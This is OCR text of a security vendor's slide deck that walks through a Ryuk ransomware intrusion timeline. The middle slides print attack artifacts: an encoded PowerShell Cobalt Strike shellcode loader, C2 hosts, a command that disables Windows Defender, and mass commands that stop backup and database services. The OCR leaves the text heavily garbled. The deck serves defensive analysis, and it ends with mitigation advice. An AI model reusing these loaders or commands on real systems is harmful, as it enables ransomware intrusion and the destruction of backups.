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Ransomware: MSP Puys Hackers MSPs are the Latest Ransomware Target: Are You Safe?

$150,000 to Unluck Data

C u: After a flurry of devastating ransomware attacks in 2019, MSPs and vendor partners
Ral are improving security to prevent history from repeating during the pandemic.

e Rob Wright, News Director 23 Jun 2020
££ . o ]

Eaﬂy information suggests threat actors gained MSPs and offers advice on how to beef up security.
access to remote monitoring and management tools
from Webroot and Kaseya to distribute malware.

MSPs are being used to breach their ¢

ﬂ Kevin Williams on July 10, 2019



The Evolution of Ransomware

. CryptoLocker WannaCry & Petya @
2013 2017 2020

AIDS Trojan Locky GandCrab

1989 2016 == 2018



Analyzing Ransomware

For every new incident or strain of malware we discover,
security researchers must analyze each stage of the
attack in order to understand its technical components
and determine how to defend against it.




M HUNTRESS



Ryuk’s Return

UHS hospitals hit by reported country-wide Ryuk ransomware
attack
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Ryuk Timeline

UHS Case Study

Day One

Bazar malware executed

16:37

11 minutes

=

Domain discovery commands

16:48

18 minutes

Registry discovery commands

17:06
22 minutes




Day One

(] More domain discovery
and network checks to
domain controllers

17:28 13 minutes
L] L |
Ryuk Timeline @  AdFindusedtomap Active
Directory
UHS Case Study 17:41

~64 minutes operating




5182210045

Bazar Backdoor

Dncum&nt-ﬂmrawm




Bazar Payload

-
-
-

C\Users\user\Downloads\

Document-Preview.exe



5.182.210.145
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Base64 encoded
PowerShell

SOBFAFgAIARCAE4AZOESACOATWE 1 AGOAZOE AHOAT
ABOAGUAdBAUAFCAZORI AGMALABRAGUALGROACKALY
BEAGAAAWBUAGWALWBhAGOAUWBDAHT AaQBUAGCAKAR
nAGYAIARIAHAROTAVACEAMOAVADCALTAWAC 4 AMARY
ADEAOGAIADGAMAAXACBATWARADS AT ABTAGUAGRALA
E0ACABROAHIAZOEMAGUACGRELAGAAYWELACARLOREAS
kAcwBhAGIALABLAFIAZOBhAGWAdABDAGOAZOBNAGH
AbgEpAHOALWEYAGKALGENACARIARIAH I AAQB]L Al==

Set-MpPreference -DisableRealTimeMonitoring $true



ADFind

Active Directory e
Enumeration st




“Command line Active Directory
query tool. Mixture of
ldapsearch, search.vbs,
1dp, dsquery, and dsget tools
with a ton of other cool features
thrown in for good measure.”

https://www.joeware.net/freetools/tools/adfind/

& 3021 Huntress Laba. All rights reserved

As seen in

Windows TT Pro Magazine
Thousands of blog posts.

Thousands of newsgroup and web forum postings.

Thousands of ActiveDir Org |

Usage
Download and type adfind /? for basic usage

See current l!.‘-i:]lg{.‘ SCreens

Mame

[7] ad_users.txt
|=] ad_computers.txt
IE| ad_ous.bt

=| trustdmp.txt

|Z] subnets.txt
|=] ad_group.ixt
=] trustdmp.tct

¥ HUNTRESS



Ryuk Timeline

UHS Case Study

Day Two

Checks again for domain trust
and AdFind using Bazar

18:49
23 minutes

First lateralfiov=a¢  a. 2, pt |
with WMIC : G Y

2002

1L mifiutes

P64.exe Cobalt StrikzGeagon
run on beac'dieah ¢ '

20:23 “._“ o e




Ryuk Timeline

UHS Case Study

Day Two

Second P64.exe Cobalt Strike
beacon dropped on beachhead host

21:04 )
5 minutes

Next lateral njovaien (o t
viaaserviceaid .we¢ Coen o
21:09 Pl

Cobalt Strike beacon transferred via
SMB and run by service

= [[success]|




Ryuk Timeline

UHS Case Study

Day Two

Continual lateral movement activity
using Cobalt Strike beacons via
SMB across environment

21110- 22:06

Windows Defender begins to be
disabled using powershell commands

21:43

First Ryuk Ransomware executable
transferred to backup system

21:45

Ryuk Ransomware run enterprise wide

21:50-22:10




~205 minutes
Ransomware in 3.5 hours




Ryuk Ransomware Deployed in 5
Hours using Zerologon

13K views = 3 months ago 5 h o um
Lawrence Systems

[ge?: LAWRENCE

TECHMOLOGY SEAWCES

eed Bun, 2 Hours to

23 ©2021 Huntress Labs, Al rights reserved ¥ HUNTRESS



18:49

& 2021 Huntress Labs. All rights reserved

[*] Sam, ounthame
[*] Distinguisheddams
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[ First lateral movement attempt
with WMIC

2002




Next lateral movement attempt
via a service and powershell

21:09

“Registry value set:

RuleName: -

EventType: SetValue

UteTime : BE:88:54.696

ProcessGuid: {1372738A-3659-5F6E-BABG-0808EGE0EF00}

Processld: 468

Image: C:\Windows\system32\services.exe

TargetObject : HKLMASystem\CurrentControlSet\Services\Teedadd\ImagePath

Details: %WRCOMSPECY% /b fc start /b /min powershell -nop -w hidden -encodedcommand JA
AZwACACTASAABAHMASOEBAEEADOBEAEEAQOSBAEEAQOBLADEAVWELAFc ALWBPAESADGBEACSAWABTADY ARQE]
QABAHTAdWBSADgAARBADUACABS AGAAUABMAGE AbwWB G AEYADOBTAHUAMABSADTABOBYADEAUgAIAHAANOBSAD
TADQAYOBZAFQAeABIAEDARABgAHKAYOBSAGY ARGBFAEMAVgBJADCANABOAFEANABPAERBATWE jAHQARDB1AELA
HUAVQEUAGBADGBZ AHEASOEIAGQANABWAHAANKBUAHI ANQBRAHC AUWEDAFQARGBNAHCAHABTACSANGE1AEUACA
AdgBPADEANOBTAGEARDAr AECAZOBY AEEAUGE1AFMAawWE 1 AHDANGAXAEMAVWE LAEMATWEUAEWALWABAFAACQBG
gBPADTADOR1 AEEAMQArADYAQWA1 AGEANWEMAFUAawA 1 AF cAMOBxAFUABABSADY AaAB JAHOALWEDAHY AdQAZAF
LACsACQABAFMAUWBOAFUALABOADCASgBiAFOALGBIAEUAagBtADCATOE tADGALIOE jAGQAUABOAE s AKWBGADEA
FOAVWBEAEKATQBXAFgAUGPAGUARDBDAEAADABIACBADABKAEAAT OB TAGEASOBMADCACQBXAEQABNENAECADD
ALwELADIAZgBVADgAVWEDAERAUDBSADOAVGAZ ADOARWEmAHUACGELAGOADWB TAFoAd ABRADOANGE TAEEAD DAY
ABGADYAZOBeAHEACgByAGOAYwWASAGIAQOBRAF cAZ ABRAF AADWBMNADUAS gBGAGWAaWE Y AGUADOBUAEEADWE Y AE
WAEsARgEyAFYAYwBTADEANGEpAHKAND Ay AGWAT AB tAGgAdgBZAGHAT ABGAGA AZwE jAGWAl QA 1AFAOWE SAEEA
HAASQBDAGSASgBoAGRANDELADAANGBGAFEAUDBIAF ARSWEZAHOASWEKADC AbAARAHUANAAXADCAVABZAES AKW
AcgBGADEANOBpAHUARDETACSACWE S AFTADAAXADUA gBKAGAACGEGAGS AUABHADY AMOEWAHE AegAZAEEATAAR
wBBAHTAYwWE i AEEANABOAGTAYOBYAFoAdABpAEQATgBY AECAKWBRAGEADOBhAECAZ AB]AEsACgBaAEBAY gBhAL
2AFEACOBhACBAOBVADEAdABRAGAAZABOAGC ABAATADY ASWASAGEASABpADT AaOBmADY ADABQADY AbwBIAHYA
HUAGABCAEBAdwBLADUACABSAGYAUABZ AGKALKE ALY AKWEBUAGLANABGAFAAZ QB JAFHANAAVAGBAdOEYAFCAZA
AegBIAEUARQBNADY AagByADGAVIAr AFOACQERAGE AUABNAGY ACgBEVAGI AYWEHAFoAKwAVAHY AQDBUADY Aawd 1
wB1 AHcAeABy AEUAUGBDAGIAMWEY AGsAcOBTAHAAT ABOADgA=OBHAFEAMOEL AFMADOAXAGT ADAB T AGOADABOAH
KAE4ACAB4AETACABNAEMASBGAF QACcgBSADAAT (BHAHUACgBRADMATwAZAF ARRABGAFOARgBBAHOAY gBRADUA
FOAROQBUADCAMQB.JAEBANABBAGIAdwBKADAACKE JAHIAZOB4ADAagE X AHY ADOASADAANABXAGC ARQETAGMATg
AVMEWAFQANIBGAEEAQDBGAGCADDBVACBATABSAGK AWgEqADQAT OB TAFOAYWEBAEK AMNA 1 AGLAT ABXAGCAYOAY
gBjAEcALwWBoAE TAVOBsAFgANgBDAEWALQBUAHAAGWE Z AHKADOBSAGHAY AB1AECANOBHAGOAKWEmMACsAa0BFAD
SAEYASABAGKATOBoADAAYgEYAGMASWBIADK AaABj AFgADOBUACEAegB rAHC AcWBBAEEAQOASADBATgADACKA
GBAbgAUAECARgBpAHAAUWERAHTAIOBhAGEAKAAK AHMALABDAEKATwAUAEMADWE tAHAAC QB LAHMACWERAGEADD.




BHet-strictMode -version 2

joolt = @"
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.cetAssemblies() | where-object { $_.GlebalassemblyCache -and %_.Location.Spliti '\ J[-1].Equals( System.dll") }).Ge
fvar_gpa = §var_unsafe_native_methods.GetMethod{ 'GetProcAddress', [Type[]] @ "System.Runtime.InteropServices.HandleRef', "string"})
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Dbject System.Runtime.InteropServices . HandleRef((New-0Object IntPtr), ($var_unsafe_native_meth
module))) ), $var_procedure))
}

function func_get_delegate_type {
Param
[Parameter{Position = @, Mandatory = §$True)}] [Typell] $var_parameters,
[Parameter(Position = 1}] [Type] $var_return_type = [VYoid]

1

$var_type_builder = [AppDomain]::CurrentDomain.DefinelynamicAssembly((New-Object System.Reflection.AssemblyName! 'ReflectedDelegate”)), [System.Reflection.Emit.AssemblyBuils
false).DefineTypel 'MyDelegateType', "Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$var_type_builder.DefineConstructor!'RT5pecialMame, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetimplementationFlags( " Runtime,

$var_type_builder.DefineMethod{ ' Invoke', "Public, HideBy5ig, MewSlot, Wirtwal®, $var_return_type, 3$var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateTypel )

[Byte[)]$var_code = [System.Convert]::FromBasefsString( " 38uqIyMjQerGEVFHOQHETQHEVQHEIgFELLIRpERLC EWDPHRIFIQBDSuwuTUTERIFAGHEZQGEF TvDoY lumé LdpIvNZqGs TqHSDTvDAHZ qoFEE 1 9RL c Eu0P & Tudk
cwAtBeagxyKV+EUNTYES JMyM]S02c ICNITAT7h3DGEIPZ 2yes JIYNSEupycks JkycJSyOTIyNITkKLSSBRS2ZT/PFeontoNwd JT2FLCAxewd 22 pulXTUK J5SNITET FoOUNG 5G4 SU0Xwe v S SN 1S5 dE Uy Y3IPaodwe 2SSR1SyMDT yNxdE
Z05+WipHHC3qenBEhvBy sS4l ckSOOWEXKCOTXHBZPLONZ cIHG/DESTSINGT I FTOHwa (R AT yM i TyM="}

for (%x = @; §x -1t fvar_code.Count; $x+) {
$var_code[$x] = $Svar_code[$x] -bror 35
H

§var_va - [System.Runtime.IntercpServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WirtwalAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [
$var_buffer - $var_va.Invoke([IntPtr]::Zero, $var_code.Length, @=30@8, @=48)
[System.Runtime.InteropServices.Marshal] :: Copy(Svar_code, ®, %var_buffer, %var_code.length}

fvar_runme = [System.Runtime.lnteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @f{[IntPtr]) ([void])}))
$var_runme.Invoke([IntPtr]:: Zero)
‘o

If ([IntPtr]::size -eq 8) {
start-job { param({%a) IEX $a } -RunAs32? -Argument %$DoIt | wait-job | Receive-Joh

else {

IEX $DoTt https:/ithedfirreport.com/2020/10/08/ryuks-return/

}




joolt = @"
function func_get_proc_address {
Param ($var_module, Svar_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | where
$var_gpa = $var_unsafe_native_methods.GetMethod{ 'GetProcAddress', [Type[]l] & sy
return $var_gpa.Invoke($null, @f[System.Runtime.InteropServices.HandleRef](New-0l
module))) ), $var_procedure))
}

function func_get_delegate_type {
Param {
[Parameter(Position = @, Mandatory = §$True}] [Typell] $var_parameters,
[Parameter(Position = 1}] [Type] $var_return_type = [VYoid]
1

$var_type_builder = [AppDomain] ::CurrentDomain.DefinelynamicAssembly((New-Object
false).DefineTypel 'MyDelegateType', "Class, Public, Sealed, AnsiClass, Autoflass', [Syst
$var_type_builder.DefineConstructor( 'RT5peciallame, HideBySig, Public', [System.l
$var_type_builder.DefineMethod{ ' Invoke', "Public, HideByS5ig, MewSlot, Wirtuwal®, !

return $var_type_builder.CreateType( )

PowerShell Reflection
technique to find
addresses of Win32 API
functions and call them



[Byte[1]$var_code = [System.Ceonvert]::FromBasesssString( ' 28uqIyMjQ6rGEVFHQHETQHEVGQHE3GFELL JRpBRLE EUDPHRIF IBDSuwWUTUTRE 3 FRGHEZQGEF IvDoY 1ums 1dpIvNzqGs TqHsDIvDAHZ qoF6g 1 9RLc EuDP s uwu Tugk
cwiAtBeagxyKV+EUNIYEs JMyM]S02c ICNITAT7h3DGEIPZ2yes JIYNSEupycks JRycJSyOTIyNITkKLSSBRS2ZT/PFeontoNwd JT2FLCAxewd 22 pulXTUK J5SNITET FoOUNG SGE4SU0Xwe v SSN1SSdxdE Uy YIPaodwe 2SSR1SyMDT yNxdE L
Z05+WipHHC3qenBEhvBysa4l ckSOOWEX KO TXHEZPLONZ CIHG/DESTSINGT I FTOQHwa QR AT yMj TyM="}

Base64 encoded and XOR'd shellcode

https://thedfirreport.com/2020/10/08/ryuks-return/




XOR-ing the shellcode to “decrypt it”

for ($x = @; $x -1t $var_code.Count; $x++} {
$var_code[$x] = Svar_code[$x] -bror 35
¥

https://thedfirreport.com/2020/10/08/ryuks-return/




Allocating memory for the shelicode,
copying it in, and invoking it

§var_va - [System.Runtime.IntercpServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtwalAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [
§var_buffer - $var_va.Invoke([IntPtr]::Zero, $var_code.Length, @=30@8, @=4@)
[System.Runtime.InteropServices.Marshal] :: Copy(Svar_code, ®, $var_buffer, %var_code.length}

fvar_runme = [System.Runtime.lnteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type a{[IntPtr]) ([void])}))

$var_runme.Invoke([IntPtr]:: Zero)
"o

https://thedfirreport.com/2020/10/08/ryuks-return/




Executing all of the above code

If ([IntPtr]::size -eq 8) {
start-job { param({%a) IEX $a } -RunAs32? -Argument $DoIt | wait-job | Receive-Job

else {
TEX $DoTt https:/ithedfirreport.com/2020/10/08/ryuks-return/

}




C2 established:

martahzz.com:443

{ data.win.system.level 4
t data.win.sSystem.message "File created:
RuleName: -
UteTime: B8 :89:29.597
ProcessGuid: {1372730A-3655-5F6E-01008-000000008F0
at

ProcessId: 4

Image: System

TargetFilename: C:\Windows\bBe7f5f.exe
CreationUtcTime: B@:@89:29.597"

@ Cobalt Strike beacon transferred via

SMB and run by Ll eventdata. image C:\\Nindows\\System32\\services.exe

21:09

eventdata.imageloaded Wy AADMINS\ \bBe7f5f .exe




First Ryuk Ransomware executable
transferred to backup system

21:45

Ryuk Ransomware run enterprise wide

21:50-22:10




"CiwwWindowshsystem32inetl stop \'"samssi"" Sy

"CiwwWindowshsystem32inetl stop \'"veeamcatalogswvel\"" JSy"
"Ci\Windowshsystem32hnetl stop \""veeamcloudsvc\"" Sy"
"C:\Windows\system32\netl stop \""veeamdeploysvch"" Sy"
"C:\Windows\System32\net.exe\"" stop \""samss\"" /y"
"C:\Windows\System32inet.exe\"" stop \""veeamcatalogsvci"" Jfy"
"C:\Windows\System32\net.exe\"" stop \""veeamcloudsvch"" fy"
"C:\Windows\System32inet.exe\"" stop \""veeamdeployswci"" /y"
"CiwwWindowsh\System32htaskkill.exe\"" JIM sqlbrowser.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM sqlceip.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM sqlservr.exe /F"
"CiwwWindows\System32htaskkill. exe\"" JIM sqlwriter.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.agent.configurationservice.exe /F"
"C:\Windows\System32htaskkill.exe\"" /IM veeam.backup.brokerservice.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM wveeam.backup.catalogdataservice.exe /F"
"CiwwWindowsh\System32htaskkill. exe\"" JIM veeam.backup.cloudservice.exe SF"
"C:\Windows\System32htaskkill.exe\"" /IM wveeam.backup.externalinfrastructure.dbprovider.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.manager.exe /F"
"CiwwWindowsh\System32htaskkill. exe\"" JIM veeam.backup.mountservice.exe SF"
"C:\Windows\System32itaskkill.exe\"" /IM veeam.backup.service.exe /F"
"C:\Windows\System32htaskkill.exe\"" /IM veeam.backup.uiserver.exe /F"
"C:\Windows\System32htaskkill.exe\"" /IM wveeam.backup.wmiserver.exe /F"
"C:\Windows\System32itaskkill.exe\"" /IM veeamdeploymentsvc.exe /F"
"C:\Windows\System32\taskkill. exe\"" /IM veeamfilesysvsssvc.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.guest.interaction.proxy.exe /F"
"C:\Windows\System32itaskkill.exe\"" SIM veeamnfssvc.exe /F"
"CiwwWindowsh\System32htaskkill. exe\"" JIM veeamtransportsve.exe /SF"
"C:\Windowsh\system32\taskmgr.exe\"" /4"

"CiwwWindowshsystem32hwhemiwniprvse. exe -Embedding”
"CiwWindowsh\system32hwhemwniprvse.exe -secured -Embedding"

"icacls \""C:NEA"" fgrant Everyone:F /T /C /Q"

"icacls “W'"D:AEA"M Sgrant Everyone:F /T /C /Q"




"CiwwWindowshsystem32inetl stop \'"samssi"" sy
"CiwwWindowsh\system32inetl stop \'"veeamcatalogswvel\"" JSy"

"C:\Windowsh\system32inetl stop \'""veeamcloudswvechi"" Sy"

"C:\Windows\system32inetl stop \'""veeamdeploysvci"" fy"
"CrwWindowshSystem32inet . exe\"" stop
"C:\Windows\System32inet.exe\"" stop
"C:\Windows\System32\net.exe\"" stop
"Ci\Windows\System32inet.exe\"" stop

"CiwwWindows\System32htaskkill.
"Ci\Windowsh\System32htaskkill.
"C:\Windows\System32\taskkill.
"CiwwWindows\System32htaskkill.
"C:\Windows\System32\taskkill.
"C:\Windows\System32\taskkill.
"CiwWindowshSystem32htaskkill.
"CiwwWindows\System32htaskkill.
"C:\Windows\System32\taskkill.
"CwWindowshSystem32htaskkill.
"CiwwWindows\System32htaskkill.
"Ci\Windows\System32htaskkill.
"CwWindowshSystem32htaskkill.
"C:\Windows\System32\taskkill.
"C:\Windows\System32\taskkill.
"C:\Windows\System32\taskkill.
"CrwWindowshSystem32htaskkill.
"CiwwWindowsh\System32htaskkill.
"CiwWindowshSystem3Zhtaskkill.

EXE\\II“
E'JIE"\““
E}[E\““
EXE\\II“
EIE\““
EXE\““
EKE\“"
EXE'\II“
exeh""
EXE'\II“
EXE\\II“
EHE“\““
exeh""
exeh'""
exeh""
exeh""
exeh'""
EXE'\II“
EXE\\II“

I\‘.II Ilsamss'\“ LLJ jf-yll
\'"veeamcatalogsvei " Sy"
N "veeamcloudsveh"" Sy
VW "veeamdeploysver" Sy"
sgqlbrowser.exe /F"
sqlceip.exe /F"
sqlservr.exe /F"
sgqlwriter.exe /F"

FIM
FIM
/I
FIM
FIM
FIM
FIM
FIM
FIM
FIM
FIM
FIM
FIM
FIM
FIM
/IM
FIM
FIM
FIM

veeam
veeam
veeam
veean
veeam
veeam
veean
veeam
veeam
veeam

.backup.
.backup.
.backup.
Dbackup.
.backup.
.backup.
backup.
.backup.
.backup.
.backup.

agent.configurationservice.exe /F"
brokerservice. exe /F"
catalogdataservice.exe /F"
cloudservice.exe SF"
externalinfrastructure.dbprovider.exe /F"
manhager.exe /F"

mountservice.exe SF"

service.exe fF"

uiserver.exe /F"

wmiserver.exe /F"

veeamdeploymentsvec.exe /F"
veeamfilesysvsssvc.exe /F"
veeam.guest.interaction.proxy.exe /F"
veeamnfssvec.exe SF"
veeamtransportsve.exe JF"



"icacls \'"C:NEA"" fgrant Everyone:F /T /C /Q"
"icacls W'D AEA"M Sgrant Everyone:F /T /C /Q"
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Hackers still FLOSS

We saw a chain of free and open-source software.

e ADFind

https://www.joeware.net/freetools/tools/adfind/

e PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

e Rubeus
https://github.com/GhostPack/Rubeus

hitps:Ywww.gnu.org/philosophy/floss-and-foss.en.html




Hackers still LOL

We saw a chain of living-off-the-land binaries and scripts.

e nltest
https://attack.mitre.org/software/S0359/

e WMIC
https://attack.mitre.org/techniques/T1047/

e rundll32
https://attack.mitre.org/techniques/T1218/011/

https.//lolbas-project.github.io/



What about Emotet & Trickbot?

If we boil it down, the concepts are still the same.

e |Initial access, lateral movement, command and control...

e Still demands manual analysis

e ‘It takes avillage”

https:Holbas-project.qithub.io/




M HUNTRESS



M HUNTRESS



Automation with Manual Analysis

0\

* Trained analysts examine » You are notified of danger.
suspicious behavior.

» Less false positives, *

e Manual human analysis less false negatives.
understands context.

You make the informed
decision to respond.

Remediation is thorough
and stops the problem
at the source.




How can we =-==mitigate this attack?

The software safeguards:

Disable CMD

PowerShell ConstrainedLanguageMode
Application Whitelisting with AppLocker
LAPS

Harden GPOs/ACLs

Credential Guard

Protected Users Security Group



Cybersecurity is not a technology problem

It is a people problem




How can we =-==mitigate this attack?

The boring, boilerplate and trite “best practices”:

2FA/MFA

Complex passwords
Password policy
User education
Patch & update
Egress monitoring
DNS filtering



How can we === mitigate this attack?

The boring, boilerplate and trite “best practices”:

2FA/MFA
Complex passwords User education. User education. User education.

Password policy i i " i
. ion Sure, this feels like a “bad” answer.

Patch & update
Egress monitoring
DNS filtering
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+1 (833) HUNT-NOW
john.hammond@huntresslabs.com




Start your free 21-day trial today
@ Deploy in minutes to an unlimited
number of endpoints

Remediate persistent footholds
and other identified threats »
HUNTRE:SS

E Receive custom incident reports huntress.com/trial

From our ThreatOps team
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